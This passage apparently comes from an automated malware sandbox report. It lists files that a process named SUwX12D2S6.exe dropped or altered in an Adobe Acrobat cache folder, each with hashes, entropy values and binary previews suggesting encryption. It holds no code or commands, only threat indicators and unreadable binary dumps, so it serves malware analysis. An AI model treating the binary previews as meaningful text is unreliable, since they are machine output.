Preview:	insec..8{....i\G../.t.+=b...@.]..j.gPL.::..xT....&.GKl..........E.+......)\..6K.......\r._...P...}...H...h\|.H..`.B..^L0...S..u.Q!.].o .>..9.8 sd..i..+.\...&&.].g.ehA.:\|..8Bg.........KS..M]6g.a.F.{.+_.!...9.H..m.Y:..}...$........2.V.#..3V.=h.y....%OA..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.584677391740372
Encrypted:	false
SSDEEP:	12:keM2Fu+vhm96eZPKc9d7MYw0ejOXRf6hnsG/fM2YXZ3CjAib8mGMK6t6GwGvFjVX:bM2DvhmUeZycT7MHrjOX9lG/fM2YkVG4
MD5:	11BC12C97D40B501DBEAA6DE8586CD74
SHA1:	950532AD1D8B7478D7A8E530B016A719681C9FB2
SHA-256:	FB53746AC2F14BB4608C7EEBB9302008D797C9D3DC45D2BCDB8CBF614349AD7C
SHA-512:	33136B7BBEE7C4396D20B1DD2AFF6F63C7D7A0FD18878F21BD3AC8D077984DAA5C41B4FCE4D466C397F75CFD4816DA841282736538E7E607DEB76972A2891709
Malicious:	false
Preview:	2023/)+q.3..4.f..b..0.C....x...$&E..........9.g[,..(..2.............AQ8\...#.....o.. .NN.....w.>..V.0p....&.........m......y.L..Hg ..i.........i........O..5OJ..(.@g....+,#.T..Z&f.K......Y(k....q.L.6)7.XQ......V}........w..4dY..K.....l.".i.........d...J/..o......X>$.1..E..\.............H....]f...2..;a.@BU..........=sk_+'.....t....-......#....$M..[.9...r..4AY.........zh......X.r.v.................H.".h5......l....-.4..`j.kj.h.vL..+TU....V....d..C...W..}..to..J..Y.9....n....R...7 =...9Y...}R7.>Q\..g.M.t.a9itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.584677391740372
Encrypted:	false
SSDEEP:	12:keM2Fu+vhm96eZPKc9d7MYw0ejOXRf6hnsG/fM2YXZ3CjAib8mGMK6t6GwGvFjVX:bM2DvhmUeZycT7MHrjOX9lG/fM2YkVG4
MD5:	11BC12C97D40B501DBEAA6DE8586CD74
SHA1:	950532AD1D8B7478D7A8E530B016A719681C9FB2
SHA-256:	FB53746AC2F14BB4608C7EEBB9302008D797C9D3DC45D2BCDB8CBF614349AD7C
SHA-512:	33136B7BBEE7C4396D20B1DD2AFF6F63C7D7A0FD18878F21BD3AC8D077984DAA5C41B4FCE4D466C397F75CFD4816DA841282736538E7E607DEB76972A2891709
Malicious:	false
Preview:	2023/)+q.3..4.f..b..0.C....x...$&E..........9.g[,..(..2.............AQ8\...#.....o.. .NN.....w.>..V.0p....&.........m......y.L..Hg ..i.........i........O..5OJ..(.@g....+,#.T..Z&f.K......Y(k....q.L.6)7.XQ......V}........w..4dY..K.....l.".i.........d...J/..o......X>$.1..E..\.............H....]f...2..;a.@BU..........=sk_+'.....t....-......#....$M..[.9...r..4AY.........zh......X.r.v.................H.".h5......l....-.4..`j.kj.h.vL..+TU....V....d..C...W..}..to..J..Y.9....n....R...7 =...9Y...}R7.>Q\..g.M.t.a9itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.666727812987316
Encrypted:	false
SSDEEP:	12:kvXjdYb9MaDcP+H3SgXC0Z7NqS9mQOPJsdEfbSoa2RZ8jVcii9a:adYaaD5ZTZ7NfmQ2wk7a2eVbD
MD5:	87D18274192D597F86B8D2BA5535BDE6
SHA1:	8F04730C5AEBDA49461BB130FDAED8C19A90A8DD
SHA-256:	6CD59B6A88D2CF45B2F2FF1D8E44EED79E0F74ABD509EF48A9F48BD5AC04340D
SHA-512:	D41A5C667404D8281C179DB36AA406375D5E005266CF821319954F0D90E54BB6179915843648BEE484EF42390CD3A768852F1D0D92A8FED6C1FD34E562984E07
Malicious:	false
Preview:	2023/.."...F^....N...,R..M..Y.)...F.H8..~4.r.2>.P.....A..@.....&e.\|Y..h.59.t.^[aiM&....(I...0..K..:#..#.........Z.d....'.W..s 7Uv.#%.........`>d............^.E.....A.>5.m..p1^l....D.3..z..+..y.....ig.v...N..Ju..06[m....\|$....0...H...l~.9.i;I.x.T....<H..w^w..F?..Z....;o....<..\.Q...3....K8.A./)..<.]h2.x....a......'..Z-z.J...i.~..[-..B.H.s.8.....&......O#k...Ke..kP....N+O?'..`.t...#;.eY.U.5d.E...7-.K...~...B....4.\.Z......s..K=.j.....i......LOd....R...y.-x;....,......a.L..3..h.=. D`\......3..8..Q..............g..7.X!....v.Cg..e....ZX.G..........W.+Js.5...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.666727812987316
Encrypted:	false
SSDEEP:	12:kvXjdYb9MaDcP+H3SgXC0Z7NqS9mQOPJsdEfbSoa2RZ8jVcii9a:adYaaD5ZTZ7NfmQ2wk7a2eVbD
MD5:	87D18274192D597F86B8D2BA5535BDE6
SHA1:	8F04730C5AEBDA49461BB130FDAED8C19A90A8DD
SHA-256:	6CD59B6A88D2CF45B2F2FF1D8E44EED79E0F74ABD509EF48A9F48BD5AC04340D
SHA-512:	D41A5C667404D8281C179DB36AA406375D5E005266CF821319954F0D90E54BB6179915843648BEE484EF42390CD3A768852F1D0D92A8FED6C1FD34E562984E07
Malicious:	false
Preview:	2023/.."...F^....N...,R..M..Y.)...F.H8..~4.r.2>.P.....A..@.....&e.\|Y..h.59.t.^[aiM&....(I...0..K..:#..#.........Z.d....'.W..s 7Uv.#%.........`>d............^.E.....A.>5.m..p1^l....D.3..z..+..y.....ig.v...N..Ju..06[m....\|$....0...H...l~.9.i;I.x.T....<H..w^w..F?..Z....;o....<..\.Q...3....K8.A./)..<.]h2.x....a......'..Z-z.J...i.~..[-..B.H.s.8.....&......O#k...Ke..kP....N+O?'..`.t...#;.eY.U.5d.E...7-.K...~...B....4.\.Z......s..K=.j.....i......LOd....R...y.-x;....,......a.L..3..h.=. D`\......3..8..Q..............g..7.X!....v.Cg..e....ZX.G..........W.+Js.5...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.76576871819072
Encrypted:	false
SSDEEP:	24:YKWxAbwPcfmEuWCN4nHsB1rJWLLdHoOSfSTrVbD:YDAccfmEuWa2g80STrFD
MD5:	976B56BBF280A4D3F06F52C3941900E2
SHA1:	99293C128D963F14C438104C6D9A6762F7202EE2
SHA-256:	3A58FF7334B4B790A947DE2B4301B0FD088E155C325BE295E2218F4208AF1E15
SHA-512:	3216E0CD6AC813896CD6871E998856EDE3AEB4846F444D18909AB68446BA6615466F7827276F4EF86A618DFBAC57739E47171FBD004A4141E0D53B310EB7757E
Malicious:	false
Preview:	{"os_.+.Y......Pf..t..h. ..=E.E..d....m..d..8.B.(../.O......tu..Pw...~.]6..M......._.M.3..+;.T..L..vG)'.7..9a..'o.Ii2...T..f.9.?....e...@.#.6.tAxoT..j7....N.....v.[?.[<K.l....R ....1.\|..{..+.'Y.....#...R..-..`clj.(./....... .J..=..8.;u.\|U...-A..U.4E~...A..d....`@!.y..W@..d/...)'m.6.>..@.P..N.B......95D.$......gq...=.{.i.N..."..q..........z..@....n.Vn...B.r@.':..b6...Q.\.w.9n....%...T...XhFP]..20....Z;..K..."..Ec.+:.y)....f.SEL....+H...I....)....'..\|Z.\|.^..g_P7qI.{7r...,&..5.U-.J....C.C&.Z.Q.%I.KAb........wC..w...4....}..1z...H.+(...z..P...\Jf[lz...3~.l......{R....(\|>..vD....... .7..S.~.#..TE`............:AE.>....x..6F..../.f.6A..Qa.Nwf..@.Ct.FN...t.....;.%..M.. ?+.'....;.(.Sj.s.:..H*6.:3itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.76576871819072
Encrypted:	false
SSDEEP:	24:YKWxAbwPcfmEuWCN4nHsB1rJWLLdHoOSfSTrVbD:YDAccfmEuWa2g80STrFD
MD5:	976B56BBF280A4D3F06F52C3941900E2
SHA1:	99293C128D963F14C438104C6D9A6762F7202EE2
SHA-256:	3A58FF7334B4B790A947DE2B4301B0FD088E155C325BE295E2218F4208AF1E15
SHA-512:	3216E0CD6AC813896CD6871E998856EDE3AEB4846F444D18909AB68446BA6615466F7827276F4EF86A618DFBAC57739E47171FBD004A4141E0D53B310EB7757E
Malicious:	false
Preview:	{"os_.+.Y......Pf..t..h. ..=E.E..d....m..d..8.B.(../.O......tu..Pw...~.]6..M......._.M.3..+;.T..L..vG)'.7..9a..'o.Ii2...T..f.9.?....e...@.#.6.tAxoT..j7....N.....v.[?.[<K.l....R ....1.\|..{..+.'Y.....#...R..-..`clj.(./....... .J..=..8.;u.\|U...-A..U.4E~...A..d....`@!.y..W@..d/...)'m.6.>..@.P..N.B......95D.$......gq...=.{.i.N..."..q..........z..@....n.Vn...B.r@.':..b6...Q.\.w.9n....%...T...XhFP]..20....Z;..K..."..Ec.+:.y)....f.SEL....+H...I....)....'..\|Z.\|.^..g_P7qI.{7r...,&..5.U-.J....C.C&.Z.Q.%I.KAb........wC..w...4....}..1z...H.+(...z..P...\Jf[lz...3~.l......{R....(\|>..vD....... .7..S.~.#..TE`............:AE.>....x..6F..../.f.6A..Qa.Nwf..@.Ct.FN...t.....;.%..M.. ?+.'....;.(.Sj.s.:..H*6.:3itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.951409960355063
Encrypted:	false
SSDEEP:	96:Y+q1lsF9/EkCPFY9PDmzDmk6nMubbAq8iFyPHVgwVpCCZK9:pq7GEkCaPDmzDh6Mub1yPWQE
MD5:	4D21EFD9B42AD894B57EB90EE5BCDB97
SHA1:	3DC64F23CB12AF6377E1A7293F6CFD8C1A86C39F
SHA-256:	757E0EB19A40551EFF9CF5465A7CCDDA9088B16CE6321049A9DD803408493F2C
SHA-512:	69F5351EB925A8BFAECAC41C662777205E6B4A367090F139C2D684CE8EE24B10F67673BCD8B58A095086D62C86940A093CCC8656DECFB33BC7D6DB15F609E068
Malicious:	false
Preview:	...#..3.s..\..........J.1....%,.h..r....h.qL.....u\|....r..].J.P..MO~s.qW..t..v......e.de.u....J...U..j.a.Va....j.....B...)..E7...{..~..$.......w.@T9d...c.yM.n`..[..K..V.f.f........y;M$j.3.,v`=.g`.p.:.m7E.n..,w..L.XL.u.'.1d.b...e.B....e.7.9).k...>.T.Il ..'J...x.<..........We......4C.../..?Y........Z_.....{..+^....r....n..Q..".g....W]..xK.......3.iwrg.O...D_.}..:..9N%L..U...h......\|..x.k.......o...=\|..l/?2h..`,q.e..~`Z.........-.w.;..SD._6...z...(...+..4..#.X.>N.......\-....,...p....f.Jn......'......T..s.U..[..m...:..=p.....4.kT.T..... ......Q..M...d...~~...Nk..c.s.D...:s.:1...]"1..U..W.<R8Vom...............>....j..s`..$H..;{../.=..t.2.MX.}..n......L..'..t%D..N....C.j).....2. .R].m....B..0...VoDE.GA..e..#T_.....@I...@.e....x2\\S.....>.\./...,.t.p.4...Bh..@...J-...E.#kyd.o.!....}.......P.G.j...C.x....J%.~Q..4..BJ....=.y.J').ir....{.b+..Vc....($.u'.?.....2"3.H..m..Cm$B},..C....`..u...U.d0.Y1.6.....G..k....=....z...."..7 .bd...[.%t@.3a.Y.....

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.951409960355063
Encrypted:	false
SSDEEP:	96:Y+q1lsF9/EkCPFY9PDmzDmk6nMubbAq8iFyPHVgwVpCCZK9:pq7GEkCaPDmzDh6Mub1yPWQE
MD5:	4D21EFD9B42AD894B57EB90EE5BCDB97
SHA1:	3DC64F23CB12AF6377E1A7293F6CFD8C1A86C39F
SHA-256:	757E0EB19A40551EFF9CF5465A7CCDDA9088B16CE6321049A9DD803408493F2C
SHA-512:	69F5351EB925A8BFAECAC41C662777205E6B4A367090F139C2D684CE8EE24B10F67673BCD8B58A095086D62C86940A093CCC8656DECFB33BC7D6DB15F609E068
Malicious:	false
Preview:	...#..3.s..\..........J.1....%,.h..r....h.qL.....u\|....r..].J.P..MO~s.qW..t..v......e.de.u....J...U..j.a.Va....j.....B...)..E7...{..~..$.......w.@T9d...c.yM.n`..[..K..V.f.f........y;M$j.3.,v`=.g`.p.:.m7E.n..,w..L.XL.u.'.1d.b...e.B....e.7.9).k...>.T.Il ..'J...x.<..........We......4C.../..?Y........Z_.....{..+^....r....n..Q..".g....W]..xK.......3.iwrg.O...D_.}..:..9N%L..U...h......\|..x.k.......o...=\|..l/?2h..`,q.e..~`Z.........-.w.;..SD._6...z...(...+..4..#.X.>N.......\-....,...p....f.Jn......'......T..s.U..[..m...:..=p.....4.kT.T..... ......Q..M...d...~~...Nk..c.s.D...:s.:1...]"1..U..W.<R8Vom...............>....j..s`..$H..;{../.=..t.2.MX.}..n......L..'..t%D..N....C.j).....2. .R].m....B..0...VoDE.GA..e..#T_.....@I...@.e....x2\\S.....>.\./...,.t.p.4...Bh..@...J-...E.#kyd.o.!....}.......P.G.j...C.x....J%.~Q..4..BJ....=.y.J').ir....{.b+..Vc....($.u'.?.....2"3.H..m..Cm$B},..C....`..u...U.d0.Y1.6.....G..k....=....z...."..7 .bd...[.%t@.3a.Y.....

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.6156107371901784
Encrypted:	false
SSDEEP:	12:kHtA4TF45jTili7Vatp/uPoNiKVDeYJ4qvdNwPYulUxecjpXpCjVcii9a:mNTGiuotp2wwrKNNu2/piVbD
MD5:	06FE8DA21ACD5643BF6C5895C2B35EE2
SHA1:	F689A57D4F5899C3EFECE215D69B5CD1B0AFF89D
SHA-256:	04C5A65BB44B6876C22759DD23EE4AC34D25F2E0A9F86A072046CFA85C7AF10D
SHA-512:	891E2E82DDB62D93B30AB2C3432814ABD6535DCEF6A1CA5439ABDD61E84727915A88BFC9CBFF2DD22C067450A3DA43ACEF0199B1144EFEC16884F75AA24BA0C3
Malicious:	false
Preview:	2023/(B.V/...G..:.V.{..%F. E...$..`........%;{..E...5D...U.V..dA}.i...)...kZ.....#T.x......k.~=......sc$....a..p0..%J.[TG.........e.5..p.......M..A.e.:.......2.....Y........._.f.g#.!>gh!3R....%...w.R........7cP)-..9l{.25.....`..(.\5'....Yn_WP...0.E.z..^.gd{z.#wB..k...~.....j....2..i2.J..A%...Z.......J.uH.R...G.8Z.l...#U.;.Z9S...^,.4.$....i.A2..m....`....._.....*.(r.b.:0W.=...}....F.9.........]...U.\|5..T0l..0._...m.j.=5...\..H...... ......\|Qe\........5......H........3....h../..t...k........8%6o..DF\...%...o2,x...(........&l;.#...Pk..V...3.V...Y.R,.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.6156107371901784
Encrypted:	false
SSDEEP:	12:kHtA4TF45jTili7Vatp/uPoNiKVDeYJ4qvdNwPYulUxecjpXpCjVcii9a:mNTGiuotp2wwrKNNu2/piVbD
MD5:	06FE8DA21ACD5643BF6C5895C2B35EE2
SHA1:	F689A57D4F5899C3EFECE215D69B5CD1B0AFF89D
SHA-256:	04C5A65BB44B6876C22759DD23EE4AC34D25F2E0A9F86A072046CFA85C7AF10D
SHA-512:	891E2E82DDB62D93B30AB2C3432814ABD6535DCEF6A1CA5439ABDD61E84727915A88BFC9CBFF2DD22C067450A3DA43ACEF0199B1144EFEC16884F75AA24BA0C3
Malicious:	false
Preview:	2023/(B.V/...G..:.V.{..%F. E...$..`........%;{..E...5D...U.V..dA}.i...)...kZ.....#T.x......k.~=......sc$....a..p0..%J.[TG.........e.5..p.......M..A.e.:.......2.....Y........._.f.g#.!>gh!3R....%...w.R........7cP)-..9l{.25.....`..(.\5'....Yn_WP...0.E.z..^.gd{z.#wB..k...~.....j....2..i2.J..A%...Z.......J.uH.R...G.8Z.l...#U.;.Z9S...^,.4.$....i.A2..m....`....._.....*.(r.b.:0W.=...}....F.9.........]...U.\|5..T0l..0._...m.j.=5...\..H...... ......\|Qe\........5......H........3....h../..t...k........8%6o..DF\...%...o2,x...(........&l;.#...Pk..V...3.V...Y.R,.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.402923771898308
Encrypted:	false
SSDEEP:	12:zs989dEMPdnBzjJkjNUyDYSU7IForLjVcii9a:zs94dEMPJAUyDYt7XfVbD
MD5:	860E5F7D87DBBCBFC8DB058E83D23BB4
SHA1:	C7798CAA463660B1484C3AE41366A633116DB1A2
SHA-256:	8BEFD83431B091B9E0EC56E7F791526495D8151AD70266D3B788DA3CEA73C7BD
SHA-512:	4BC420253FAA9AB31A43D2345C9F874A049432C61036751A6220D027B3AA583BC6F47F3E4F684973B4E2D8ACA997469676BADCE06BBF334FBB025D7B1BF4FBCC
Malicious:	false
Preview:	S.z1...H(..7^.`KB.....4..awar.......p....%q.0.$.w........+.WD.X.sR^5...z.`E:.9.....\.Z.~..R{9...K.~.\|.l.Lc.$P4'-.>2SZ.+...c'.'.y@ai...f..4g2...dX..q.M.;......K..J.. cQ..aN..%%.D.M3...'..$7.W(.....At..f...t..0.ZG5ZF..{.!...b.CJ.)...D.......=D...y.p..t.}\+.9]..s!..o,....n0..../.@......Y-e.`'Q.N.P.NAow.rJ5..<..?t..n...s..I/P..d.N...~.....nO...Z3.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.402923771898308
Encrypted:	false
SSDEEP:	12:zs989dEMPdnBzjJkjNUyDYSU7IForLjVcii9a:zs94dEMPJAUyDYt7XfVbD
MD5:	860E5F7D87DBBCBFC8DB058E83D23BB4
SHA1:	C7798CAA463660B1484C3AE41366A633116DB1A2
SHA-256:	8BEFD83431B091B9E0EC56E7F791526495D8151AD70266D3B788DA3CEA73C7BD
SHA-512:	4BC420253FAA9AB31A43D2345C9F874A049432C61036751A6220D027B3AA583BC6F47F3E4F684973B4E2D8ACA997469676BADCE06BBF334FBB025D7B1BF4FBCC
Malicious:	false
Preview:	S.z1...H(..7^.`KB.....4..awar.......p....%q.0.$.w........+.WD.X.sR^5...z.`E:.9.....\.Z.~..R{9...K.~.\|.l.Lc.$P4'-.>2SZ.+...c'.'.y@ai...f..4g2...dX..q.M.;......K..J.. cQ..aN..%%.D.M3...'..$7.W(.....At..f...t..0.ZG5ZF..{.!...b.CJ.)...D.......=D...y.p..t.}\+.9]..s!..o,....n0..../.@......Y-e.`'Q.N.P.NAow.rJ5..<..?t..n...s..I/P..d.N...~.....nO...Z3.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.670770918186631
Encrypted:	false
SSDEEP:	12:kd8hxIcoc/1CkH1rX+KoYiEdDlsCI6A8fUuh0OJNqiJuXpsjV2kxiRvQIWjVciik:y+xjX/1Ck9X+YzdDXIu7hpJ1JuXOgQiS
MD5:	17DAE8BC1486603F67D7C97EB436A069
SHA1:	958805B972DD2B913F4170019DC820535A76D07C
SHA-256:	ED57B9D3AF15A6EA048A570C566E91FF968F84189F2D06F5AD18CDC35FC25B39
SHA-512:	19628CB5D608D20353A209461D3E6BB3ABDE3F3667D53A9424888B0B8E066951A7EDE8B1EEDAAD3D26A7CBDB54BCB0FCD242EC08533207CE33C01EAB0FE672EC
Malicious:	false
Preview:	2023/........7...z....0} .u...-....c{..oF8Os...02.w.+.*^.y5.......N..-.'.Dwx.?...gOr{Z..3.~~..v..?.yzr....8..Z..a...4...O<.O..6/4....\d.[......cq....7Wm>S.nB..K.G..g.N.!K&.n.m....1.P.$...<K.K5....U.)...<...E&..#dfJ...V`....@."3......~....)...9......:..C.Sp.\|M?......XMY$.T...y.DD..$..py..,....I...i.M5......HB5....\|...(d............q..B?N>..8.....d....,AO\..(.5...A.}......G\|_...oS ..Hb.G.I5-D.R..7....s.Lj....b..J;.D..J..l!.m.1.0).TP.U#......t.......&...{r.9.n....Nd..QR.m...W'............_...Ht....H.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.670770918186631
Encrypted:	false
SSDEEP:	12:kd8hxIcoc/1CkH1rX+KoYiEdDlsCI6A8fUuh0OJNqiJuXpsjV2kxiRvQIWjVciik:y+xjX/1Ck9X+YzdDXIu7hpJ1JuXOgQiS
MD5:	17DAE8BC1486603F67D7C97EB436A069
SHA1:	958805B972DD2B913F4170019DC820535A76D07C
SHA-256:	ED57B9D3AF15A6EA048A570C566E91FF968F84189F2D06F5AD18CDC35FC25B39
SHA-512:	19628CB5D608D20353A209461D3E6BB3ABDE3F3667D53A9424888B0B8E066951A7EDE8B1EEDAAD3D26A7CBDB54BCB0FCD242EC08533207CE33C01EAB0FE672EC
Malicious:	false
Preview:	2023/........7...z....0} .u...-....c{..oF8Os...02.w.+.*^.y5.......N..-.'.Dwx.?...gOr{Z..3.~~..v..?.yzr....8..Z..a...4...O<.O..6/4....\d.[......cq....7Wm>S.nB..K.G..g.N.!K&.n.m....1.P.$...<K.K5....U.)...<...E&..#dfJ...V`....@."3......~....)...9......:..C.Sp.\|M?......XMY$.T...y.DD..$..py..,....I...i.M5......HB5....\|...(d............q..B?N>..8.....d....,AO\..(.5...A.}......G\|_...oS ..Hb.G.I5-D.R..7....s.Lj....b..J;.D..J..l!.m.1.0).TP.U#......t.......&...{r.9.n....Nd..QR.m...W'............_...Ht....H.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.494985363193817
Encrypted:	false
SSDEEP:	12:G/JIiTZW1HhE1iOpYlz0dCamIt6lDeTtaoAjVcii9a:G+iT41HG1MlCCaZgO9iVbD
MD5:	71FA0D8B6E298F226C9F67CF68AB8F81
SHA1:	9A4034FB33A971FB934DF0557011C1CFE66BD3AF
SHA-256:	03EC8BB2577EBEA0425E4F193B57E7467E928EE8EE07A05E54BFC1BF087562BB
SHA-512:	1307CE142D07C3309AF64346AE078398EC885180CD6F3D0B3562594E25734FD0C3094FD9316C01594BCA689116ADDFDC71DA47130C1A7037CECB89C0DB660DA1
Malicious:	false
Preview:	.h.6..v...Gg>.......N#g......p..W......c.Mkd4....R..55n5.rP..d.E/...i.\N...'1r..%..v.1......bH...J...\^H.....,.....w..l5.....t%.....W.<...........Jw(..z..........2]Hu.w.~_.l.'\|...d..2......u6....Y.Ha.Q........R.*....\|..>.>...=..jnvT.u. ..+<./[%.Blr.F.{0./R. [.........UA.......-....!..w.t.b......k.ys.....S.#jE.......&...[."..O:.+....^l.....n..Dm...m.........w.HGw.i..g.B.A.:-.MP..D.....S....S.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.494985363193817
Encrypted:	false
SSDEEP:	12:G/JIiTZW1HhE1iOpYlz0dCamIt6lDeTtaoAjVcii9a:G+iT41HG1MlCCaZgO9iVbD
MD5:	71FA0D8B6E298F226C9F67CF68AB8F81
SHA1:	9A4034FB33A971FB934DF0557011C1CFE66BD3AF
SHA-256:	03EC8BB2577EBEA0425E4F193B57E7467E928EE8EE07A05E54BFC1BF087562BB
SHA-512:	1307CE142D07C3309AF64346AE078398EC885180CD6F3D0B3562594E25734FD0C3094FD9316C01594BCA689116ADDFDC71DA47130C1A7037CECB89C0DB660DA1
Malicious:	false
Preview:	.h.6..v...Gg>.......N#g......p..W......c.Mkd4....R..55n5.rP..d.E/...i.\N...'1r..%..v.1......bH...J...\^H.....,.....w..l5.....t%.....W.<...........Jw(..z..........2]Hu.w.~_.l.'\|...d..2......u6....Y.Ha.Q........R.*....\|..>.>...=..jnvT.u. ..+<./[%.Blr.F.{0./R. [.........UA.......-....!..w.t.b......k.ys.....S.#jE.......&...[."..O:.+....^l.....n..Dm...m.........w.HGw.i..g.B.A.:-.MP..D.....S....S.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	modified
Size (bytes):	635
Entropy (8bit):	7.661866599669385
Encrypted:	false
